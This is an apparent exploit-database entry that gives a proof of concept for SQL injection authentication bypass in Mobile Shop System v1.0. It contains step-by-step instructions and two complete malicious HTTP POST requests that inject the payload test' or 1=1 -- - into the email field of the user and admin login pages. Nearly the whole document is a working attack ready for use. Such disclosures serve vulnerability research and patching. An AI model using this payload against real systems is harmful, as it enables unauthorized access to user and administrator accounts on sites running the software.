Mobile Shop System v1.0 - SQL Injection Authentication Bypass

# Title: Mobile Shop System v1.0 - SQLi lead to authentication bypass
# Exploit Author: Moaaz Taha (0xStorm)
# Date: 2020-09-08
# Vendor Homepage: https://www.sourcecodester.com/php/14412/mobile-shop-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14412&title=Mobile+Shop+System+in+PHP+MySQL
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4

# POC
1- Go to "http://TARGET/mobileshop-master/login.php" or "http://TARGET/mobileshop-master/LoginAsAdmin.php"
2- Inject this SQL payload (test' or 1=1 -- -) in email field and any password in password field.
3- Click on "login", then you will bypass the authentication successfully.

# Malicious HTTP POST Requests

POST /mobileshop-master/login.php HTTP/1.1
Host: 192.168.1.55:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.55:8888/mobileshop-master/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Upgrade-Insecure-Requests: 1

email=test%27+or+1%3D1+--+-&password=test123

==========================================================================

POST /mobileshop-master/LoginAsAdmin.php HTTP/1.1
Host: 192.168.1.55:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.55:8888/mobileshop-master/LoginAsAdmin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=d7c49f6634a208dca0624f2f6b1d27b6
Upgrade-Insecure-Requests: 1

email=test%27+or+1%3D1+--+-&password=test123